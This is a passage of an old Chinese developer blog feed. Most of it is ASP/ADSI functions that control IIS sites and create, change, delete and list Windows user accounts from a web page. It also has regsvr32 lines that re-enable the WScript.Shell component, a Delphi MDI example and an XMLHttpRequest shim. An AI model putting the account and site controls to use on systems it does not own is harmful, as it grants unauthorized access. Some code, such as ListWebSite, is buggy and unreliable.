"无法启动指定Web站点&lt;br&gt;"<BR>&nbsp;else<BR>&nbsp;Response.Write "已经启动指定Web站点&lt;br&gt;"<BR>&nbsp;End If<BR>elseif DoWhat=0 then<BR>&nbsp;'使用Stop停止站点<BR>&nbsp;objServer.Stop<BR>&nbsp;If Err.Number &lt;&gt; 0 Then<BR>&nbsp;Response.Write "无法停止指定Web站点&lt;br&gt;"<BR>&nbsp;else<BR>&nbsp;Response.Write "已经停止指定Web站点&lt;br&gt;"<BR>&nbsp;End If<BR>end if<BR>End Function <BR></DIV><BR><B>使用ASP列出服务器WEB站点信息<BR><BR>程序代码：</B> <BR>
<DIV class=code>'=============================================================<BR>'函数介绍：列出当前服务器WEB站点信息<BR>'本函数使用ADSI，需要Administrators组用户权限<BR>'函数名称：ListWebSite (Computer,Num)<BR>'用法：ListWebSite (计算机名称,显示站点数量)<BR>'例：显示127.0.0.1计算机上1000个站点信息<BR>'ListWebSite "127.0.0.1","1000"<BR>'=============================================================<BR>Function ListWebSite(Computer,Num)<BR>On Error Resume Next<BR>Set SiteObj = GetObject("IIS://"&Computer&"/w3svc/"&i)<BR>for i=0 to Num<BR>&nbsp;Err.Clear<BR>&nbsp;if Err.Number=0 then<BR>&nbsp;response.write "&lt;p&gt;&lt;b&gt;以下显示为计算机："&Computer&"上所有站点信息&lt;/b&gt;&lt;/p&gt;"<BR>&nbsp;ShowWebSite = SiteObj.Get("ServerBindings") '获得站点IP地址:端口:主机头<BR>&nbsp;Info=split(ShowWebSite(0),":")<BR>&nbsp;response.write "站点编号："&i&"&lt;br&gt;"<BR>&nbsp;response.write "站点IP地址："&Info(0)&"&lt;br&gt;"<BR>&nbsp;response.write "站点端口："&Info(1)&"&lt;br&gt;"<BR>&nbsp;response.write "站点主机头："&Info(2)&"&lt;br&gt;&lt;br&gt;"<BR>&nbsp;end if<BR>next<BR>set SiteOjb=nothing<BR>End Function </DIV><BR><B>使用ASP删除指定IIS站点<BR><BR>程序代码：</B> <BR>
<DIV class=code>'=============================================================<BR>'函数介绍：删除指定IIS站点<BR>'本函数使用ADSI，需要Administrators组用户权限<BR>'函数名称：DelWebSite (Computer,SiteNum)<BR>'用法：DelWebSite 计算机名，站点编号<BR>'例：DelWebSite "127.0.0.1","2"<BR>'=============================================================<BR>Function DelWebSite(Computer,SiteNum)<BR>Set W3SVC = GetObject("IIS://"&Computer&"/w3svc")<BR>W3SVC.delete "IIsWebServer",SiteNum<BR>response.write "删除成功！"<BR>End Function<BR></DIV><BR><B>通过ASP管理NT帐号<BR><BR>程序代码： </B><BR>
<DIV class=code>'=============================================================<BR>'函数介绍：通过ASP管理NT帐号<BR>'本函数使用ADSI，需要Administrators组用户权限<BR>'=============================================================<BR>'填加用户<BR>'函数用法：AddUser(Computer,UserName,PassWord,FullName,Info)<BR>'参数：计算机名,帐号名称,帐号密码,帐号全名,帐号说明<BR>'例：AddUser "127.0.0.1","Test","Test","测试管理员帐号","本帐号通过ASP填加"<BR>'修改指定用户基本信息<BR>'函数用法：EditUser(Computer,UserName,OldPassWord,PassWord,FullName,Info)<BR>'参数：计算机名,帐号名称,帐号密码,帐号全名,帐号说明<BR>'例：EditUser "127.0.0.1","Test","Test2","测试管理员帐号修改","本帐号通过ASP修改过"<BR>'删除指定用户<BR>'函数用法：DelUser(Computer,UserName)<BR>'参数：计算机名,用户名'<BR>'例：DelUser "127.0.0.1","Test"<BR>=============================================================<BR>Function AddUser(Computer,UserName,PassWord,FullName,Info)<BR>'执行创建帐号命令<BR>Set ComputerObj = GetObject("WinNT://"&Computer)<BR>Set NewUser = ComputerObj.Create( "User" , UserName )<BR>NewUser.SetInfo<BR>'进行帐号设置<BR>NewUser.SetPassword ( PassWord ) '帐号密码<BR>NewUser.FullName = FullName '帐号全名<BR>NewUser.Description = Info '帐号说明<BR>NewUser.UserFlags = &H10000 '&H20000(使用者下次登入时须变更密码) &H0040(使用者不得变更密码) &H10000(密码永久正确) &H0002(帐户暂时停用)<BR>NewUser.SetInfo<BR>response.write "帐号"&UserName&"创建成功！"<BR>Set ComputerObj=nothing<BR>End Function <BR><BR>Function EditUser(Computer,UserName,OldPassWord,PassWord,FullName,Info)<BR>'读取用户信息<BR>Set ChangeUserObj = GetObject("WinNT://"&Computer&"/"&UserName&",User")<BR>'修改帐号密码<BR>if PassWord&lt;&gt;"" then<BR>&nbsp;ChangeUserObj.SetPassword PassWord<BR>&nbsp;response.write "帐号密码修改成功！&lt;br&gt;"<BR>end if<BR>'修改帐号全名<BR>if FullName&lt;&gt;"" then<BR>&nbsp;UserFullName = ChangeUserObj.get("FullName")<BR>&nbsp;ChangeUserObj.FullName = FullName<BR>&nbsp;ChangeUserObj.SetInfo<BR>&nbsp;response.write "帐号全名修改成功！&lt;br&gt;"<BR>end if<BR>'修改帐号说明<BR>if Info&lt;&gt;"" then<BR>&nbsp;UserFullName = ChangeUserObj.get("Description")<BR>&nbsp;ChangeUserObj.Description = Info<BR>&nbsp;ChangeUserObj.SetInfo<BR>&nbsp;response.write "帐号说明修改成功！&lt;br&gt;"<BR>end if<BR>Set ChangeUserObj=nothing<BR>End Function<BR><BR>Function DelUser(Computer,UserName)<BR>Set DelUserObj = GetObject("WinNT://"&Computer&"/"&UserName)<BR>If Err = &H800401E4 Then<BR>&nbsp;Response.Write "用户"&UserName&"不存在"<BR>&nbsp;Response.End<BR>End If<BR>Set DelObj = GetObject(DelUserObj.Parent)<BR>DelObj.Delete "User", DelUserObj.Name<BR>Set DelUserObj = Nothing<BR>Set DelObj = Nothing<BR>Response.Write "删除成功"<BR>End Function<BR></DIV><BR><B>使用ASP控制指定站点解析脚本语言函数<BR><BR>程序代码： </B><BR>
<DIV class=code>Function AdminAegis(Computer,SiteNum)<BR>Set IIsWebServiceObj = GetObject("IIS://"&Computer&"/W3SVC/"&SiteNum)<BR>dim Aegis(1)<BR>Aegis(0)=".asp,C:\WINNT\system32\inetsrv\asp.dll,5,GET,HEAD,POST,TRACE"<BR>'Aegis(1)=".aspx,C:\WINNT\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll,1,GET,HEAD,POST,DEBUG"<BR>'解析其它文件请同样使用Aegis(Num)=""这种格式，记得要将dim Aegis(Num)定义<BR>'.htw,C:\WINNT\system32\webhits.dll,3,GET,HEAD,POST<BR>'.ida,C:\WINNT\system32\idq.dll,7,GET,HEAD,POST<BR>'.idq,C:\WINNT\system32\idq.dll,7,GET,HEAD,POST<BR>'.asp,C:\WINNT\system32\inetsrv\asp.dll,5,GET,HEAD,POST,TRACE<BR>'.cer,C:\WINNT\system32\inetsrv\asp.dll,5,GET,HEAD,POST,TRACE<BR>'.cdx,C:\WINNT\system32\inetsrv\asp.dll,5,GET,HEAD,POST,TRACE<BR>'.asa,C:\WINNT\system32\inetsrv\asp.dll,5,GET,HEAD,POST,TRACE<BR>'.idc,C:\WINNT\system32\inetsrv\httpodbc.dll,5,GET,POST&lt;br&gt;<BR>'.shtm C:\WINNT\system32\inetsrv\ssinc.dll,5,GET,POST&lt;br&gt;<BR>'.shtml C:\WINNT\system32\inetsrv\ssinc.dll,5,GET,POST&lt;br&gt;<BR>'.stm C:\WINNT\system32\inetsrv\ssinc.dll,5,GET,POST&lt;br&gt;<BR>'.asax C:\WINNT\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll,5,GET,HEAD,POST,DEBUG<BR>'.ascx,C:\WINNT\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll,5,GET,HEAD,POST,DEBUG<BR>'.ashx,C:\WINNT\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll,1,GET,HEAD,POST,DEBUG<BR>'.asmx,C:\WINNT\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll,1,GET,HEAD,POST,DEBUG<BR>'.aspx,C:\WINNT\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll,1,GET,HEAD,POST,DEBUG<BR>'.axd,C:\WINNT\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll,1,GET,HEAD,POST,DEBUG<BR>'.vsdisco,C:\WINNT\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll,1,GET,HEAD,POST,DEBUG<BR>'.rem,C:\WINNT\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll,1,GET,HEAD,POST,DEBUG<BR>'.soap,C:\WINNT\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll,1,GET,HEAD,POST,DEBUG<BR>'.config,C:\WINNT\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll,5,GET,HEAD,POST,DEBUG<BR>'.cs,C:\WINNT\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll,5,GET,HEAD,POST,DEBUG<BR>'.csproj,C:\WINNT\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll,5,GET,HEAD,POST,DEBUG<BR>'.vb,C:\WINNT\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll,5,GET,HEAD,POST,DEBUG<BR>'.vbproj,C:\WINNT\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll,5,GET,HEAD,POST,DEBUG<BR>'.webinfo,C:\WINNT\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll,5,GET,HEAD,POST,DEBUG<BR>'.licx,C:\WINNT\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll,5,GET,HEAD,POST,DEBUG<BR>'.resx,C:\WINNT\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll,5,GET,HEAD,POST,DEBUG<BR>'.resources,C:\WINNT\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll,5,GET,HEAD,POST,DEBUG<BR>IIsWebServiceObj.ScriptMaps=Aegis<BR>IIsWebServiceObj.SetInfo<BR>'显示支持脚本语言<BR>response.write "当前站点支持解析列表：&lt;br&gt;"<BR>For ValueIndex = 0 To UBound(IIsWebServiceObj.ScriptMaps)<BR>&nbsp;response.write IIsWebServiceObj.Get("ScriptMaps")(ValueIndex)<BR>&nbsp;response.write "&lt;br&gt;"<BR>Next<BR>End Function <BR></DIV><BR><B>使用ASP列出NT用户组及用户<BR><BR>程序代码：</B> <BR>
<DIV class=code>'=============================================================<BR>'函数介绍：列出NT用户组及用户<BR>'本函数使用ADSI，需要Administrators组用户权限<BR>'函数名称：ListGroup(Computer)<BR>'用法：ListGroup(计算机名称)<BR>'例：显示127.0.0.1计算机NT用户组及用户<BR>'ListGroup "127.0.0.1"<BR>'=============================================================<BR>Function ListGroup(Computer)<BR>response.write "&lt;p&gt;&lt;b&gt;以下为计算机"&Computer&"系统用户组及用户列表&lt;/b&gt;&lt;/p&gt;"<BR>Set ComputerObj = GetObject("WinNT://"&Computer)<BR>ComputerObj.Filter = Array("Group")<BR>For Each Member in ComputerObj<BR>&nbsp;Response.Write "用户组："&Member.Name&"&lt;br&gt;"<BR>&nbsp;ListUser Computer,Member.Name<BR>Next<BR>end Function<BR><BR>'列出指定用户组用户<BR>Function ListUser(Computer,Group)<BR>Set UserObj = GetObject("WinNT://"&Computer&"/"&Group)<BR>For Each Member in UserObj.Members<BR>&nbsp;Response.write "&nbsp;&nbsp;&nbsp;&nbsp;组中用户："&Member.Name &"&lt;br&gt;"<BR>Next<BR>End Function<BR></DIV>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=200" /> 
	  <id>http://www.openx.cn/default.asp?id=200</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[层叠MDI窗口]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-01-20T10:46:34+08:00</updated>
	  <published>2006-01-20T10:46:34+08:00</published>
		  <summary type="html"><![CDATA[层叠MDI窗口<BR>　　Cascade方法排列子窗口，使它们彼此覆盖。一系列层叠布置的窗口显示和标题表明屏幕上放置的窗口数，允许用户很容易地选择一个可用的MDI子窗口。<BR>　 &nbsp; 下面是一个如何使用Cascade方法的例子：<BR>procedure &nbsp; TfrmMDIParent.Cascade1Click(Sender: &nbsp; TObject);<BR>begin<BR>　 &nbsp; Cascade &nbsp; <BR>end;<BR>　 &nbsp; 注意：在第一次创建MDI子窗口时（使用Window菜单的New命令），子窗口在父窗口内按层叠方式排列。<BR>13.3.4 &nbsp; 并列MDI子窗口<BR>　 &nbsp; Tile方法改变MDI子窗口的尺寸大小，使它们彼此互不重叠。MDI父窗口的用户区被划分成不同的区域，每个区域都包含一个MDI子窗口。下面是一个使用Tile方法的例子：<BR>procedure &nbsp; TfrmMDIParent.Tile1Click(Sender: &nbsp; TObject);<BR>begin<BR>　Tile;<BR>end;<BR>　缺省时，窗口水平并列。若要控制一个MDI父窗口的子窗体是垂直还是水平并列，把父窗口的TileMode特性设置为tbVertical或tbHorizontal。下列代码将前面的MDI子窗口设置为水平并列的子窗口：<BR>procedure &nbsp; TfrmMDIParent.Tile1Click(Sender: &nbsp; TObject);<BR>begin<BR>　TileMode &nbsp; := &nbsp; tbHorizontal;<BR>　Tile;<BR>end;&nbsp;&nbsp;]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=199" /> 
	  <id>http://www.openx.cn/default.asp?id=199</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[IIS几个组件的注册]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-01-19T11:32:39+08:00</updated>
	  <published>2006-01-19T11:32:39+08:00</published>
		  <summary type="html"><![CDATA[<DIV class=UBBContent>开始－运行：<BR><SPAN style="COLOR: limegreen">修复Java动态链接库</SPAN><BR><STRONG>regsvr32 jscript.dll</STRONG><BR><BR><SPAN style="COLOR: limegreen">修复VB动态链接库</SPAN><BR><STRONG>regsvr32 vbscript.dll </STRONG><BR><BR><SPAN style="COLOR: limegreen">开启Scripting.FileSystemObject 组件、Scripting.Dictionary 组件</SPAN><BR><STRONG>regsvr32 scrrun.dll</STRONG><BR><BR><SPAN style="COLOR: limegreen">开启WScript.Shell组件</SPAN><BR><STRONG>regsvr32 wshom.ocx</STRONG><BR><BR><SPAN style="COLOR: limegreen">开启Shell.Application组件</SPAN><BR><STRONG>regsvr32 shell32.dll</STRONG></DIV>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=198" /> 
	  <id>http://www.openx.cn/default.asp?id=198</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[收到Live Mail邀请~耶~]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-01-19T10:46:12+08:00</updated>
	  <published>2006-01-19T10:46:12+08:00</published>
		  <summary type="html"><![CDATA[[img]include/Editor/UploadFile/2006119104459189.gif[/img]]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=197" /> 
	  <id>http://www.openx.cn/default.asp?id=197</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[收集代码[js]]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-01-18T14:06:09+08:00</updated>
	  <published>2006-01-18T14:06:09+08:00</published>
		  <summary type="html"><![CDATA[<P>/*</P>
<P>Cross-Browser XMLHttpRequest v1.2<BR>=================================</P>
<P>Emulate Gecko 'XMLHttpRequest()' functionality in IE and Opera. Opera requires<BR>the Sun Java Runtime Environment &lt;<A href="http://www.java.com/">http://www.java.com/</A>&gt;.</P>
<P>by Andrew Gregory<BR><A href="http://www.scss.com.au/family/andrew/webdesign/xmlhttprequest/">http://www.scss.com.au/family/andrew/webdesign/xmlhttprequest/</A></P>
<P>This work is licensed under the Creative Commons Attribution License. To view a<BR>copy of this license, visit <A href="http://creativecommons.org/licenses/by-sa/2.5/">http://creativecommons.org/licenses/by-sa/2.5/</A> or<BR>send a letter to Creative Commons, 559 Nathan Abbott Way, Stanford, California<BR>94305, USA.</P>
<P>Attribution: Leave my name and web address in this script intact.</P>
<P>Example<BR>----------------------<BR>function loadcode() {<BR>&nbsp; var req = new XMLHttpRequest();<BR>&nbsp; if (req) {<BR>&nbsp;&nbsp;&nbsp; req.onreadystatechange = function() {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (req.readyState == 4 && (req.status == 200 || req.status == 304)) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; removecode();<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var demo = document.getElementById('demo');<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; demo.appendChild(document.createTextNode(req.responseText));<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp; };<BR>&nbsp;&nbsp;&nbsp; req.open('GET', 'demo.js');<BR>&nbsp;&nbsp;&nbsp; req.send(null);<BR>&nbsp; }<BR>}<BR>function removecode() {<BR>&nbsp; var demo = document.getElementById('demo');<BR>&nbsp; while (demo.hasChildNodes()) {<BR>&nbsp;&nbsp;&nbsp; demo.removeChild(demo.firstChild);<BR>&nbsp; }<BR>}</P>
<P>Not Supported in Opera<BR>----------------------<BR>* user/password authentication<BR>* responseXML data member</P>
<P>Not Fully Supported in Opera<BR>----------------------------<BR>* async requests<BR>* abort()<BR>* getAllResponseHeaders(), getAllResponseHeader(header)</P>
<P>*/<BR>// IE support<BR>if (window.ActiveXObject && !window.XMLHttpRequest) {<BR>&nbsp; window.XMLHttpRequest = function() {<BR>&nbsp;&nbsp;&nbsp; var msxmls = new Array(<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 'Msxml2.XMLHTTP.5.0',<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 'Msxml2.XMLHTTP.4.0',<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 'Msxml2.XMLHTTP.3.0',<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 'Msxml2.XMLHTTP',<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 'Microsoft.XMLHTTP');<BR>&nbsp;&nbsp;&nbsp; for (var i = 0; i &lt; msxmls.length; i++) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; try {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return new ActiveXObject(msxmls[i]);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } catch (e) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp; return null;<BR>&nbsp; };<BR>}<BR>// Gecko support<BR>/* ;-) */<BR>// Opera support<BR>if (window.opera && !window.XMLHttpRequest) {<BR>&nbsp; window.XMLHttpRequest = function() {<BR>&nbsp;&nbsp;&nbsp; this.readyState = 0; // 0=uninitialized,1=loading,2=loaded,3=interactive,4=complete<BR>&nbsp;&nbsp;&nbsp; this.status = 0; // HTTP status codes<BR>&nbsp;&nbsp;&nbsp; this.statusText = '';<BR>&nbsp;&nbsp;&nbsp; this._headers = [];<BR>&nbsp;&nbsp;&nbsp; this._aborted = false;<BR>&nbsp;&nbsp;&nbsp; this._async = true;<BR>&nbsp;&nbsp;&nbsp; this._defaultCharset = 'ISO-8859-1';<BR>&nbsp;&nbsp;&nbsp; this._getCharset = function() {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var charset = _defaultCharset;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var contentType = this.getResponseHeader('Content-type').toUpperCase();<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; val = contentType.indexOf('CHARSET=');<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (val != -1) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; charset = contentType.substring(val);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; val = charset.indexOf(';');<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (val != -1) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; charset = charset.substring(0, val);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; val = charset.indexOf(',');<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (val != -1) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; charset = charset.substring(0, val);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return charset;<BR>&nbsp;&nbsp;&nbsp; };<BR>&nbsp;&nbsp;&nbsp; this.abort = function() {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this._aborted = true;<BR>&nbsp;&nbsp;&nbsp; };<BR>&nbsp;&nbsp;&nbsp; this.getAllResponseHeaders = function() {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return this.getAllResponseHeader('*');<BR>&nbsp;&nbsp;&nbsp; };<BR>&nbsp;&nbsp;&nbsp; this.getAllResponseHeader = function(header) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var ret = '';<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for (var i = 0; i &lt; this._headers.length; i++) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (header == '*' || this._headers[i].h == header) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ret += this._headers[i].h + ': ' + this._headers[i].v + '\n';<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return ret;<BR>&nbsp;&nbsp;&nbsp; };<BR>&nbsp;&nbsp;&nbsp; this.getResponseHeader = function(header) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var ret = getAllResponseHeader(header);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var i = ret.indexOf('\n');<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (i != -1) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ret = ret.substring(0, i);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return ret;<BR>&nbsp;&nbsp;&nbsp; };<BR>&nbsp;&nbsp;&nbsp; this.setRequestHeader = function(header, value) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this._headers[this._headers.length] = {h:header, v:value};<BR>&nbsp;&nbsp;&nbsp; };<BR>&nbsp;&nbsp;&nbsp; this.open = function(method, url, async, user, password) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.method = method;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.url = url;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this._async = true;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this._aborted = false;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this._headers = [];<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (arguments.length &gt;= 3) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this._async = async;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (arguments.length &gt; 3) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; opera.postError('XMLHttpRequest.open() - user/password not supported');<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.readyState = 1;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (this.onreadystatechange) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.onreadystatechange();<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp; };<BR>&nbsp;&nbsp;&nbsp; this.send = function(data) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (!navigator.javaEnabled()) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; alert("XMLHttpRequest.send() - Java must be installed and enabled.");<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (this._async) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; setTimeout(this._sendasync, 0, this, data);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // this is not really asynchronous and won't execute until the current<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // execution context ends<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } else {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this._sendsync(data);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp; this._sendasync = function(req, data) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (!req._aborted) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; req._sendsync(data);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp; };<BR>&nbsp;&nbsp;&nbsp; this._sendsync = function(data) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.readyState = 2;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (this.onreadystatechange) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.onreadystatechange();<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // open connection<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var url = new java.net.URL(new java.net.URL(window.location.href), this.url);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var conn = url.openConnection();<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for (var i = 0; i &lt; this._headers.length; i++) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; conn.setRequestProperty(this._headers[i].h, this._headers[i].v);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this._headers = [];<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (this.method == 'POST') {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // POST data<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; conn.setDoOutput(true);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var wr = new java.io.OutputStreamWriter(conn.getOutputStream(), this._getCharset());<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; wr.write(data);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; wr.flush();<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; wr.close();<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // read response headers<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // NOTE: the getHeaderField() methods always return nulls for me :(<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var gotContentEncoding = false;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var gotContentLength = false;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var gotContentType = false;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var gotDate = false;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var gotExpiration = false;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var gotLastModified = false;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for (var i = 0; ; i++) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var hdrName = conn.getHeaderFieldKey(i);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var hdrValue = 